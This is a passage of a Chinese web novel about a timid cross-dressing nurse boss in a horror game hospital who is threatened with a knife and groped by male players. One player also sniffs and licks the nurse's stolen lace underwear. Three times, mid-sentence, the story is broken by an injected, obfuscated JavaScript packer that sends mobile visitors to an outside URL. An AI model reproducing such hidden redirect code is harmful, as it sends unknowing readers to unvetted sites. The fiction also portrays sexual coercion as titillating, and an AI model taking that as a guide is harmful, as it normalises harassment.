康驯转了转手腕,站起身来,“不想死就别挡路。” 他和那个凌屿可不一样,什么道具,NPC,简直是多余。想出去还不简单?动武就行了。 刀光凛凛,罗荔不由得浑身发抖。他身高不够,才只到康驯胸膛的位置,离得近看清他身上的肌肉,更是吓得双腿发软。 他用脊背死死抵住房门,颤声道:“你现在……还不能出去。你、你的病还没好。” 康驯不屑一顾,手从他的腰边穿过,握住了门把:“你觉得我像是有病的样子?” 傲慢又桀骜不驯的青年,从来没有在初始关浪费过这么多时间,他现在已经没多少耐心了。 “还有,为什么不让我离开病房?” “难不成,是想我也和孟虎一样死在这里?” “不是!”罗荔立即否认,粉唇紧抿,“你……你告诉我想去哪里,我考虑考虑。” 康驯眯起眼睛。 “我腿受伤了,要治。” 他将左侧小腿伸出来,可以看见裤脚之下,先前被束缚带勒死的地方有明显的伤痕,应该是他挣脱束缚带的时候留下的。 罗荔心尖一跳,脑子里乱乱的。 这个理由,好像挺正当的,他想不出拒绝的借口。 “那,我可以去请医生,不用你特意出去……” “叫医生?你是想让他们都知道我用刀割断了束缚带,以后再把我单独隔离起来?” 康驯弯下腰来,已经没多少耐心了:“跟你说了,还是不让我出去?” 他捏着锉刀逼近,“你应该清楚,就凭你,可拦不住我。” 罗荔太知道了。 他从小就纤弱,同龄的男孩子都比他要高出一个头去,他最害怕的就是这种人高马大的男生。 慌乱之中,余光又瞄到那把锉刀。刀柄上刻着个字,隐约看出来——是个“孟”。 孟虎? 看起来的确像是从工地上捡回来的刀,很大可能属于孟虎。可问题是,怎么会在康驯手里? 出事的那天晚上……康驯也在。 会不会,孟虎的死和他有关? 青年锋利的下颌上还印着止咬器的勒痕,肉眼可见的伤疤布满脖颈,不知道是多少次厮杀的战果。 杀人对他来说,只怕像吃饭一样轻松。 “你要再这样拦着我,我可就要怀疑你是不是要伙同医院一起杀害病患了。” 康驯眯起眼眸,已经按下了一半门把手。 他的嗓音低冷,充满威胁性。 二人一时僵持不下,不知过了多久,只听见细弱、低软的求饶声传来。 身前的小护士并拢膝盖,卷翘的羽睫被雾气打湿,抽动着小巧鼻尖,手指卷住他的袖口。 “我没有……” “她”怯怯抬眸,软软道:“我就是,担心你的病还没好,不想你到处乱跑。” 脑中像是有什么东西在狂轰滥炸,“担心你”这三个字反复回响。 康驯呼吸收紧:“我用不着你担心。” 他抬手要推门,罗荔却一下子抱住了小脑袋。 害怕地发抖:“别、别打我。” 康驯无语,自己怎么可能打女生? 却听一声低喝:“闹够了没有。” 凌屿拦在两人之间,强行将康驯的袖子从罗荔的手心中抽出来,“我不喜欢房间里有血腥气,你要动手,也别在我眼前。” 康驯:“?” 不是,好大一顶帽子就这么扣上来? 他连这小护士的一根头发都没碰吧? 康驯无语,举手示意投降,又坐回了病床上。 罗荔见他打消了硬闯的念头,又小步地往病床前蹭。 凌屿一抬眸,正好和“她”视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723215|173928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 线相对,小护士飞快地落下眼帘,转过一点身体。 很警惕的样子。 罗荔小心觑着康驯的伤口,他受伤了是真的。虽然自己不能让他离开病房,但是帮他包扎总是可以的吧? 于是整理出一些药品和纱布,打算给康驯处理一下。 结果一扭头,青年不知怎么又要下床。 “你都受伤了怎么还乱动?” 康驯无视了小护士的嗔怪,懒散道:“我要去厕所。” 他摆出一副谁也奈何不了的姿态,看着罗荔因为为难而蹙起来的秀丽眉宇,更加得寸进尺:“怎么了?不让我出门,厕所也不许我去?” 罗荔纠结一番,退了一步:“……那你去吧。” 康驯系好鞋带,正要下床,动作又停下。 恶劣地勾起唇角:“你来扶我。” 罗荔深吸一口气。 他不跟幼稚鬼计较。嗯。 伸过来的小臂嫩白柔软,两指就能圈住,看着根本承担不了任何重量。 康驯啧了一声,选择用手臂环住小护士的肩膀。 这时才发现,“她”的个子真的很娇小。肩膀窄窄的,轻而易举就能罩在臂弯下。 这样俯视的时候,能从口罩的缝隙,窥见一点点肉粉的鼻尖,还有鼓起的雪腮。 康驯搭在罗荔肩头的手臂不自觉地绷紧了。 所有情绪好像都在两人距离拉近时被放大,康驯脑中十分混乱,一低头,又看见小护士轻轻颤抖的身体。 好像是在被迫执行任务一样,明明害怕又讨厌,但还是不得不做。从始至终,连抬眸看他一眼都不愿意。 就这么怕他? 妈的,自己也没真对“她”做过什么吧? 鬼使神差的,像是故意赌气一样,康驯落在罗荔肩头的手下移,换而揽住“她”的腰肢。 稍稍一弯臂,便把小护士整个人搂了过来。 本是个十足恶劣的举动,可在手臂与那截腰肢触碰的刹那,康驯的大脑还是空白了一瞬。 怎么能……这么细。 又细又软。 手掌本是尴尬的悬空,却见罗荔好像被这冷不防的搂腰吓到,踉跄半步,小肚子便撞上青年的掌心。 几乎没有任何犹豫,康驯收紧手臂,将他彻彻底底地揽在了怀里。 肌肤相贴,罗荔软绵绵的身体被紧紧搂住,原本平平无奇的搀扶姿势,此刻……却已经变了味道。 他不明白发生了什么,只是离康驯越近,他就越想逃。 可是能逃到哪里?这个房间,还有哪里是…… 一抬眸,一道凌厉的目光投了过来。 凌屿坐在对面,不知已经看了多久。 小小的,香甜柔软的年轻护士,被高大健硕的青年禁锢在臂弯下。 软腰贴紧康驯的腹肌,整个人显得那么乖,就算害怕也不会反抗,只会任由对方过分的亲密拥抱。 ……康驯那一点伤,再晚些包扎就要愈合了,有什么扶的必要。 他根本不用贴罗荔那么紧。 需要拥抱、亲吻,还有更加亲密的事情的,也不是他。 软乎乎的平坦小腹,害羞局促并拢的膝盖,温柔又娇甜的嗓音,抱在怀里不知道有多舒服的小护士…… 现在应该这样抱着“她”,一边压着呼吸,一边眼底猩红的,根本不该是康驯。 不知不觉间,凌屿的指甲已经嵌入掌心。 罗荔还没搞清楚状况,便听耳边响起提示音。 【玩家凌屿的皮肤饥渴症正在加重】 【病重值:20,25,30……】 他更加害怕,下意识往康驯怀里缩了缩。 病重值却升得更快了。 5. 005 【卧槽兄弟们,我怎么感觉不太对劲儿啊?】 【康驯这搂得也太紧了,而且这都多久了,也该松开了吧】 【不是我说,小萝莉看起来真的很好抱啊,好想抱在腿上揉……】 【只揉吗,大胆点行不】 【话说怎么有种修罗场的既视感,明明凌总才是最需要拥抱的,却只能眼睁睁看着小护士被别的男人搂腰摸肚子】 【666不是他自个儿洁癖吗?搬起石头砸自己脚】 康驯固然可怕,可凌屿也没有好到哪里去。 罗荔被那充满侵略意味的眼神笼罩着,整个人恨不得缩成一团,让谁也找不到他。 “痛……” 怀里的小护士小声开口,软嫩掌心抵着康驯的胸口,把他往外推了推,“你太用力了。” 拒绝别人的话都不会说。 凌屿忽然道:“康驯,你有手有脚,又没病,非要缠着护士帮你?” 康驯眉峰一压,神色也阴沉了。 他本来就瞧不上这家伙,更不用说,他刚刚亲眼看到,凌屿和罗荔眉来眼去。 更何况,这家伙不是一向秉承事不关己高高挂起吗?现在在这儿又装什么绅士? 康驯心中积着无名火,不单没有松开,反而握住了罗荔的手。 在凌屿眼皮子底下,把自己的手指,一点点插进小护士洁白的指缝中,直到十指相扣。 另一只手则拥紧罗荔的腰,轻松一笑:“可不是我缠着‘她’,是‘她’刚刚自己说担心我的。” 罗荔瞪大了杏眼,而康驯看见他眼里的羞愤,只觉心中涌起说不出的快意。 “你要跟着我进卫生间么?” 罗荔立即松开他的手:“我才不要呢!” 康驯耸耸肩,自己走进卫生间。 终于能摆脱这尊大佛,罗荔长舒一口气,回头时,发现凌屿还在盯着他。 他害怕康驯,当然也不敢亲近凌屿。正觉得有点尴尬,这冷如冰霜的男人忽然开口:“被那家伙抱着,你是不是心里挺高兴?” 面前的“少女”扯着上衣,腰间布料被揉乱,杏眼里满是茫然。 凌屿控制不住地说下去:“假如他没有把性服务的资格让给孟虎,你那天晚上就不会从这病房里出来了吧。” 凌屿扶着额角,嗓音愈发沙哑。 “你的眼光倒真是很挑剔。” “觉得自己比一般人漂亮一点,所以不想浪费时间在孟虎那种没钱的男人身上?” 【??什么漂亮一点?】 【虽然戴着口罩看不见脸,但我敢打赌绝对漂亮得没边儿好吗】 【虽然看不见脸但绝对漂亮,这话你自己说出来笑了没,要我看,摘了口罩还不知道是什么牛鬼蛇神】 【对对对我也不信所以能给我看看吗】 【等等,我怎么感觉像是嘴硬啊兄弟们,疑似抱不到小萝莉破如防】 【对啊,凌总的皮肤饥渴症都那么严重了,真的不想办法治治吗?比起洁癖还是通关更重要吧】 ……他当然也知道这个道理。 病重值上升太快了,再不下降的话,他的精神会先崩溃。 如果罗荔也来对他投怀送抱的话…… 未尝不可利用“她”一下。 嗯。只是利用。 但罗荔并没有这个意图。他只觉得凌屿说话很呛人,是个讨厌的家伙。 所以他无视了凌屿的目光,打算收拾一下东西就离开。 而卫生间此时却传来一声闷响,罗荔心里一跳,想到康驯到现在还没出来,有点奇怪。 那家伙不会又在想着逃走吧? 他连忙走到卫生间门口。那门居然虚掩着,里面毫无动静,安静得诡异。 罗荔犹豫片刻,轻轻一推。 却在这时,被人扼住手腕,大力拽了进去。 门在背后反锁,没有开灯,什么都看不见。本就狭窄的空间显得更加逼仄,罗荔被抵在角落里,感觉到尖锐的利器顶在了下巴上。 “别乱动。我不对女生动手,但如果你乱动……我没办法保证这把刀也长了眼睛。” 康驯把声音压低,锉刀的刀尖探寻着小护士耳边的挂绳,慢慢探进口罩下。 “你看出来了吧?这把刀是孟虎的。他平常就放在腰间的工具包里,从不离身。” “我知道他的德行,本来懒得管他想做什么。” “结果谁知道……他这一进去,就再也没出来。” 康驯是被血腥味儿刺激醒的,等他打开卫生间的门,孟虎已经倒在了血泊中,脖子上插着这把锉刀。 他的裤子都还没提上去,很显然,是在毫无防备的情况下,被人刺穿了喉咙。 “刀是从后面刺进来的,但放着刀的洗手台却在孟虎前方。什么人能神不知鬼不觉地藏进来,从这么狭窄的地方穿过来拿到锉刀,且全程不让孟虎发觉?” 康驯按住罗荔的后颈,“没人能做到。所以,凶手根本不是人。” 医院里藏着非人的怪物,这不奇怪。 但,祂怎么偏偏在这时候对孟虎下手? 罗荔背靠着门,仿佛从他的描述之中重现了当日的情景。 就在这里,孟虎不知道被什么东西盯上,一刀穿喉。 他忽然意识到了什么:“那……跟我也没有关系。我也不知道是谁杀了他。” “没关系吗?” 沉默片刻,康驯继续说:“那天晚上,你走了之后,他就在这里,站在马桶前。他想拉开裤链,但是腰上的锉刀很碍事,他就取下来放到了洗手台上。” “之后,他就把裤子脱下,做了点……事。” 罗荔紧张极了,小腿肚都在打颤。 刀背划过娇嫩的脸颊,抵在他的唇肉上,他听见康驯恶劣低笑:“至于做了什么,我想你这辈子都不想知道。” 看起来也就刚刚成年的小护士,想必根本不了解男人那档子事。 “她”当然也不会知道,秉性不堪的工地糙汉,是怎么急不可耐地把自己关进卫生间,靠着他从小电影里学来的拙劣想象,尽情发泄自己的下流。 在那个漆黑的夜晚,充满男性气息的狭窄空间里…… 就像现在一样。 口罩的挂绳被挑落了。最小号的医疗口罩,被青年有些粗暴地摘下来,捏进掌心。 他的手上触碰到一股潮热湿痕,紧接着,听见断断续续的啜泣声。 失去口罩的遮挡,一股叫人晕眩的甜香扑面而来。 在这一瞬间,康驯竟然忘记自己的本来目的——他原本是想卸下罗荔的伪装,看看“她”口罩之下,是不是非人的怪物。 但是没有。 缝隙内漏出的一点点光线照在“她”的下巴上,白嫩而带着一点软软的尖。 淡淡的泪珠从唇角滑落,悬在下巴尖上,摇摇欲坠。 小护士倚着门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723216|173928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一张脸掩在黑影下,嗓音低呜,甜香袭人。 稠红的眼眶里蓄着泪,薄薄的泣音柔软潮湿。 “还给我……” 他想要夺回那只口罩。粉白手指刚刚抬起一点,身后的门却忽然被人暴力拉开。 “啪”的一声,白炽灯瞬间打开。罗荔红着眼圈,连忙低下头去,听见凌屿掩不住怒气的声音:“你们在干什么?” 康驯松开手,满脸阴沉地拽住凌屿的领口:“你是不是闲的?嗯?在外面偷听多久了?” “用的着偷听?”凌屿反唇相讥,“某人喘的像条狗一样,隔着门也能听的一清二楚。” 二人剑拔弩张地对峙,罗荔又气又急,偏偏腰还被康驯揽着,情急之下,弯起膝盖,重重地在他的腹肌上顶了一下。 “你们都很讨厌!” 他抹了把眼眶,趁着这个空档,一下子逃离了201病房。 …… 【正在进行结算】 【今晚201无人逃脱,任务二已完成。玩家“凌屿”病重值上升50点。】 原来的口罩被康驯拿走,罗荔只能换了新的。 他的心里仍有些不安,不知道自己的脸被他们看清了没有。 他虽然从小长得像女孩子,但毕竟不是真正的女生。如果看得仔细,那点区别想必逃不过玩家的眼睛。 不能被发现男扮女装的真相,他反复地提醒着自己。 除此之外,康驯口中孟虎的死因也让他格外在意。他有限的脑容量其实没有完全接收到康驯提供的信息,只知道凶手大概率不是人类。 医院里还有其他的怪物。 “你是初级boss,相应的,自然也有高级boss,以及副本首领。” 离开玩家聚集地后,007的声音又冒了出来,“要不然,只指望你的话,这副本根本就是白送给玩家刷经验的了。” 他的嘴巴还是一如既往的毒。罗荔羞恼辩解:“我、我也没那么弱吧!” “是吗?” 不知怎的,今天的007格外冷淡,“如果不是凌屿出现得及时,你的真实身份大概已经被康驯识破了。” 罗荔装听不懂:“没那么容易啦!而且,你、你不也说了,我只是个小怪,他总不可能把我的裤子脱了,就为了看看我是男是女吧。” 不可能吗? 007回想起那时的情景,在心里冷笑一声。 谁知道呢。 罗荔照旧回到更衣室。卫生间里发生的事仍叫他心有余悸,这是第一次如此清晰的认识到玩家的威胁。 他这么弱小,智商也只是个普通人,要是被发现了boss的真实身份,基本毫无还手之力。 脑子里乱乱的。 希望他们来找线索的时候不要找到自己的房间。 ……可惜,他的祈祷却未能应验。 刚刚踏入更衣室的门,便发现了异样。 自己本来锁好的衣柜,此刻竟然门户大敞。 他用来换洗的衣服,全都被翻得凌乱不堪。几条洗干净叠好的内裤也被翻乱,像是被谁一条条揉捏着检查过,原本平整的布料上满是褶皱。 罗荔完全慌了,踉跄着走过去,把衣服收起来。 而007忽然语气阴沉开口。 “少了一条。” 罗荔从未听过他如此吓人的口气,几乎是一字一顿。 “你的内裤,被人拿走了一条。” 6. 006 罗荔的衣服都是进入副本后获得的,他从来没考虑过这些衣服有什么特殊。 在现实世界中,他从四五岁就开始住医院,穿的都是别人福利捐赠的衣服,捐什么穿什么。 资源有限,再加上他年纪不大,所以也没有人跟他说过,男生和女生穿的内裤不太一样。 直到此时此刻他才得知,自己到这个副本以来,穿的一直都是女孩子才会穿的内裤。 轻薄柔软的棉布料,缀着小小的蝴蝶结。颜色多样,款式可爱。 而被人偷走的那条,与手里这些还不太一样。 那是一条昂贵、精致的,珍珠蕾丝丁字内裤。 他自己记不清了,可007却还记得。 系统飞快地分析着此时游戏的进展:“……嗯,看样子,今晚203病房的那个玩家逃出来了。他是目前进度最快的,根据提示找到了员工宿舍更衣室。” 罗荔感觉cpu都要烧了:“203没有人看守吗?” “有。203的看守护士是陆妍妍。” 007带他捋了一遍此时的情况。 二楼三间病房,201,202,203。每间病房都是两张病床,但目前知道的,自始至终都是住了两名玩家的只有201。 202,原来只有凌屿。201的孟虎死后,凌屿搬去了201。现在的202是空的。 203,住的是那个不知名玩家,今晚在陆妍妍的帮助下逃脱了,成功进入员工宿舍。 但是……好像还是哪里不对劲。 现在还想不出来。 “所以,那条内裤,是被203的玩家拿走了?” 罗荔觉得十分难以启齿,“他拿那种东西干什么。” 007一顿:“那是有关你身份的重要线索。” 话音刚落,面前便弹出了新的面板。 【任务三:混淆玩家视线,防止他们核对线索后发现院长的秘密】 院长的秘密? 到现在为止,他还没听说过有关院长的事。 甚至整座医院,都没有院长存在的迹象,就好像这医院根本没有一个最高管理者似的。 罗荔努力使自己振作起来,收拾好更衣室后,回到宿舍。 看起来那个玩家没有发现这里,宿舍内一切如常。那件睡衣还摆在床头,现在去嗅,已经没有属于成熟男性的那股味道了。 只有他自己身上淡淡的香气。 所以,那天潜伏到更衣室的男人又是谁?为什么他会说自己出轨?医院里不是不允许员工之间谈恋爱吗? 还以为当boss就不需要考虑这么多了,没想到也照样很费脑细胞。 罗荔十分头疼,把被子一掀,嘴里叽里咕噜地哼唧:“不管了,先睡觉!” 他真的就这么躺下了。 007默不作声。 他的目光聚焦在那件睡衣的领口,金色的刺绣,奢侈的牌子。 而在被偷走的那条蕾丝内裤上,也有同样的刺绣。 那是阿伽门农院长私人订制的标识,象征着,自己的所有物。 …… 康驯一脚踹开了那道碍事的铁门。 人高马大的酷哥绷紧唇角,脸上看不出喜怒。直到走到那个满头金发的青年面前,才勾起一丝冷笑。 陆妍妍戳了戳金发青年的胳膊:“安德烈,他们出来了。” 安德烈回过头。 二十出头的混血青年,橄榄色皮肤,身高过人。很典型的美式帅哥长相,看起来相当阳光热情。 昨晚,就是他与陆妍妍一起,合作逃出了203。 根据游戏规则,只要有一间病房内的病人过关,其他玩家也会自动解除病房禁制。因此康驯虽然不爽,也不能对这家伙说什么。 而凌屿却看向了陆妍妍。 “没猜错的话,你这个护士身份,是第一晚夺来的吧。” 陆妍妍明显愣了一下,犹豫片刻,交待了实情:“是。我本来也是病人,我的真名不是陆妍妍,这个名字是一个护士NPC的。” 顿了顿,“安德烈摆平了她,我用道具夺走了她的身份,成为了‘陆妍妍’。” 这样就说得通了。 所以第一晚真的有护士boss来进行特殊治疗,只是没有去201,而是203。 陆妍妍拿到身份,第二晚守门时防水,安德烈得以逃脱,获得新一轮线索。 凌屿问:“所以,线索是什么?” 几人都看向了安德烈。青年粲然一笑,却只是耸了耸肩:“很抱歉,各位,我没发现什么有用的线索。” “有没有用,可不是你说了算。”康驯冷哼,“当然,你不愿意共享也无所谓,只是后面的关卡,就不一定能让你那么幸运了。” 安德烈叹了口气,“我有什么骗你们的必要?” 他从口袋里取出来一只塑料袋,打开,将里面的东西拿出来。 在看清这东西的瞬间,众人都倒吸一口凉气。 “员工宿舍我没来得及进去,只搜了外面的更衣室。在那里,只找到了这个。”安德烈若有所思,“看上去,好像是……” 凌屿清了下嗓子:“情. 趣内衣。” 康驯耳尖竟然冒上一点红:“你又是从哪儿知道的?” 凌屿懒得理他。 的确是情. 趣用品。那么小那么薄的小丁字裤,在很刁钻的位置扯了条珍珠链,如果穿上,稍稍一动就会深深勒进去。 康驯意识到自己方才的表现太像纯情处男,这次抢先开口:“所以这是谁的?” 谁也不知道任务指引为什么会带他们闯入员工宿舍,这种翻人家衣服的事情毕竟很不道德。但好在只有一个隔间能进去,安德烈也就只翻了那一个。 “那间更衣室外面挂了名牌,我记得……好像属于一个NPC。”安德烈沉思,“是叫……罗荔。” 几个人顿时陷入了一片死寂。 安德烈奇怪地看着这两个神色陡变的男人:“怎么了?” 康驯喉结滚动,侧开的目光里掺杂了些古怪,脑子里却不自主地浮想联翩。 这么薄,穿了也能清晰地看清包裹着的地方。 那小护士的胳膊和脸蛋都那么粉白,想必那个地方……也是同样的颜色。 肉肉的小屁股会被蕾丝磨得很痛吧?红红肿肿的,胖得珍珠都只能露出一点点…… 不知道该有多勾人。 在看凌屿,他似乎也想到了类似的画面,眼底暗潮涌动。 康驯瞪着他:“喂,你这变态,肯定在想什么乱七八糟的吧?” 凌屿冷笑:“彼此彼此。”转向安德烈,“所以,关键线索还是在员工宿舍,对么?” 安德烈点头,摊开手掌。 “我用技能复制了宿舍钥匙,但只有一副。今晚护士 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723217|173928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轮班,可以派一个人趁机摸进员工宿舍。” 论潜伏经验和武力值,康驯都是最突出的,于是当仁不让接下了这个任务。 【去宿舍?那岂不是能看到小萝莉住的小窝了】 【小公主的床肯定又粉又香,所以能在上面穿那个蕾丝小内裤给daddy看吗】 【敢不敢赌康哥肯定要到小床上躺一回】 【包的啊老弟,操,好羡慕】 什么东西,躺罗荔的床? 怎么可能,他又不是像凌屿那样的变态。 忍不住瞄了眼凌屿。这家伙的体能和武力未必在自己之下,不知道为什么,这次居然愿意把钥匙让给他。 希望不要有古怪。 …… 深夜,值班护士轮换。 漆黑的走廊里风声呼啸,铁门吱呀震晃,处处充斥着令人不适的消毒水气味。 瞳孔幽黑的护士和医生站在角落里,好像是在窃窃私语,可脖颈却扭动到一个不可思议的角度,往走廊远处窥视着。 轻悄悄的脚步声由远及近,逐渐变快,到了最后,简直是逃跑了。 做贼似的,躲进了病房里。 罗荔抚着胸口,好不容易才把气息平复下来。 指尖一点光亮闪烁,那是他刚刚兑换的道具【追踪】。 顺着道具的指示,可以同步了解到玩家探寻出的线索,方便他找到对策回击。 只不过……他不够聪明 ,虽然知道有玩家偷了他的内裤,但他能想到的办法,就只有趁病人集中治疗的时候,把内裤偷回来。 只要拿回来,死无对证,就说明不了什么了……吧。 玩家此刻不在病房,203是空的。罗荔走到病床前,有点恼火地轻踢了一脚那人的床板。 叫你偷我的衣服,坏东西! 哼,等着瞧吧,不会让你得逞的。 虽然心里生气,但还是不敢动作太大,蹑手蹑脚地翻了一通,却一无所获。 只剩下那边的柜子了。 越往病房深处走就越黑,只能摸黑去找那个柜子。罗荔好害怕,贴紧墙根,猫着腰一点点蹭过去,心提到了嗓子眼儿。 而就在此刻,听见了一声男人的闷哼。 随后,又是奇怪的,压抑的喘息。宛如一头蛰伏的野兽,在暗处埋伏起来,用自己的鼻腔嗅闻着猎物的味道。 仿佛是很深地吸了一口气,然后又急促地贴紧深嗅。 有人在那里。 罗荔的小腿肚直打颤,怎么也没想到,有人居然先他一步到来。 与此同时,耳边也响起了任务提示音。 【检测到玩家正在附近】 【玩家病重值上升中,55,60,65……】 【请宿主提高警惕,过高的病重值会使玩家失控,做出不理智行为】 窗边漏出一点光线,勾勒出柜边男人精壮的体型。 西装被脱下,深灰的衬衫被隆起绷紧的背肌撑满,肩膀随着深呼吸而起伏。 罗荔认出这是谁了。 那个嫌他脏的,把他的手擦破皮的禁欲总裁,凌屿。 此时此刻,他好像已经无暇顾及那不断上涨、马上要越过红线的病重值,手指绕着一小块布料绞紧,手背上青筋暴起。 而罗荔丢失的那条蕾丝小内裤,就被他死死攥着,放在高挺鼻梁下。 ……肆无忌惮地嗅闻。 7. 007 这个角度正好能看到凌屿的侧颜。 男人鼻峰挺拔,顶在那薄薄的蕾丝上,将其撑满。那英俊冰冷的面庞上,竟然露出几分陶醉神情,鼻翼翕张着,妄图从那小小布料上俘获更多的气息。 罗荔脑袋里完全空了,他根本无法理解现在的局面。 凌屿潜入203,打开柜子,找到这件内裤。 然后……开始闻? 难道能从这上面闻出什么线索吗? 不可能吧。 混乱之间,只见男人张开干燥的唇瓣,探出一截舌头。 舌尖抵上蕾丝旁边缀着的珍珠链子,卷起来,从下到上,痴迷地舔。 珍珠上很快沾了一层惹眼的水光,黏稠的唾液将蕾丝打湿。仿佛仅仅是这样已经不够,凌屿用牙齿咬上珍珠,将整条短短的链子都含入口中。 很饥渴一样,喉结滚动,用力含吮。 病重值升高会使玩家做出不理智行为。 但……这是不是有些太奇怪了? 罗荔在心里问007:“他为什么要吃那个珍珠啊?” 007默了一瞬:“可能,对他来说,那已经不仅仅是珍珠了。” 话音刚落,凌屿却忽然看了过来:“谁?” 阴影之下,身材娇小的小护士倚着墙根,眼睛里写满了无措。见到被自己发现,“她”立马抬腿要逃,而凌屿脑中一阵轰鸣,不等罗荔反应过来,已经挡在了他面前。 男人的身材太过高大,身影完全笼罩着他。 似乎是病重值太高的缘故,他眼底一片暗红,声音格外沙哑。 “你来干什么?” 罗荔连连后退,手腕却被他一把攥住。 “来找这个的?” 凌屿抬手,指尖挑着那条半透明的蕾丝。他竟然一点没有被撞破的尴尬,仿佛干着见不得人的事情的不是自己,而是面前这个并拢着纤细脚踝、夹紧大腿根,慌慌张张的小护士。 罗荔支吾着:“我……我……” “看来安德烈说的没错,这东西果然是你的。”凌屿一下下揉搓着上面的花纹,“是想来拿回去么?这东西对你这么重要?” 他弯下身来,在罗荔耳边低语:“难道,你平日里值班,都穿这个?” 罗荔攥紧小拳头。 欺负一下就忍了,两下也可以,三下……三下不行! 以为他这么好欺负吗! “关你什么事!这是我的东西!”罗荔十分愤怒,“还给我!小偷!” “还给你可以。” 凌屿又走近一步,眸色愈深,“但是,有条件。” 他把手里的东西举高了些,“……来抱我。” 罗荔难以置信地望着他。 这家伙说什么?抱他?他的脑子没问题吧? 自己凭什么受他的威胁啊? 【我去,这是药剂吧干啥】 【确定是“来抱我”,不是“求你让我抱抱你”吗】 【我要是有凌总这样strong的本事我做什么都会成功的】 【此男刚刚舔蕾丝和珍珠的时候那样的舔狗模样能再表演一下吗】 【小公主你可不能自投罗网啊!!】 弹幕让罗荔更坚定了自己的想法。 绝对,不会,抱这个家伙! 飞快地权衡了一下利弊,决定撒腿逃跑。 可惜,凌屿没有放过他的意思。炽热的胸膛陡然压下来,臂膀揽住他的腰肢,在那狭小的角落里,将他完全禁锢。 肌肉结实的大腿贴紧他肉乎乎的腿根,膝盖顶上他的腿肚,从后方把他完全抱入怀中。 凌屿的掌心抵在墙面上,在二人肌肤相贴的瞬间,喉咙里溢出兴奋的低哼。 罗荔却只能半伏在冰凉的地板上,不断挣扎:“你放开我!” 他那点力气,在这种天天泡健身房的成年男人面前完全不够看的。 凌屿觉得自己怀里是只扑腾着小爪子的幼猫,叫声也奶里奶气的,打人都像踩奶。 而他此时也和康驯一样,紧紧搂着那截细腰不撒手。 不仅如此,比起康驯那种愣头酷哥,凌屿显然要更大胆。 他的大掌顺着小护士的侧腰向下,慢慢的,覆在了罗荔的腿根。 很意味不明地,挑弄着那条白丝袜的边缘。 “真可爱。”凌屿已经完全顾不上此刻说的话还有没有理性了,“看着那么瘦,腿上……却很有肉呢。” 他往上抬了下腰,罗荔几乎是坐在了他的大腿上,漂亮的小皮鞋悬空,徒劳地晃动挣扎。 薄薄的丝袜裹着细瘦脚踝,两条又白又直的美腿稍稍分开,在凌屿的目光下颤抖得更厉害。 他不懂凌屿在干什么,只觉得对方抱得太紧,手指钳着他的腿肉,都捏出了红印。 仿佛这样还不够,男人还在不断地往他身上蹭。 热气喷在罗荔的眼尾,熏出一片秾红。 “抱、抱够了吧……把东西……还给我……” 凌屿居然没有为难他,将蕾丝小内裤叠好,塞进他的手心。 问了一句莫名其妙的话:“你之前,洗过没有?” 罗荔杏眼圆睁。 凌屿清了下嗓子:“我是说,这条内裤。” 他才到副本没几天,都没穿过这玩意,怎么会知道这种事! 想到这人有洁癖,硬着头皮说:“洗、洗了。洗得很干净。” 出乎意料的,凌屿的脸上竟然浮现出一点失望神情。 “那我现在要你用另一件东西做交换。你要是答应,我就放你走。” 罗荔只想快点摆脱他,便利索地点了头。 凌屿的目光在他的身体上睃巡着。从那条干净的白丝袜,到他短裙包裹之下的地方,再到胸口……直至脸颊。 天知道他有多想让小护士把现在穿着的那条内裤送给他。 但是最终还是拼命按下了这个念头:如果这时候开口索要,往后,小护士就再也不敢接近自己了。 “口罩。”他最后说,“要你的口罩。” 罗荔咬紧唇瓣。 下定很大决心似的,粉白手指勾着耳边挂绳,慢吞吞地摘下来。 他原以为这么暗的地方,摘了口罩也没关系,可谁知,在口罩落下的瞬间,凌屿捻开了柜子上的灯。 橘黄色的灯光下,照见小护士带着惊惶的那张脸。 乌黑发丝垂落,半掩着潮湿幼圆杏眼,微翘鼻尖与白皙下巴上,都飘着一层淡淡的粉。 远比那日阴暗走廊中瞧见的还要过分的美貌,就连卷翘睫毛都透着精致的娇气。 漂亮得让人头晕目眩。 弹幕齐齐默了一瞬。 【卧槽】 【老婆】 【质疑凌总理解凌总超越凌总】 【本来还觉得凌总刚刚有点猥琐……现在觉得他简直是柳下惠】 【老婆我那个了】 【对NPC犯错了怎么办】 【人之常情】 满屏的弹幕在眼前飞快刷新,罗荔腿抖着站起来,凌屿好像还是一副没回过神的样子。 他不敢再耽搁,趁机从病房里溜了出去。 ……却不见在他走后,凌屿举起那只残留着香气的薄薄口罩,放到了唇边。 这次没有洗干净。 上面还沾着小护士蹭上的一点点亮晶晶口水。 男人扶着墙面,低头舔了上去。 贪婪的,把那残留的 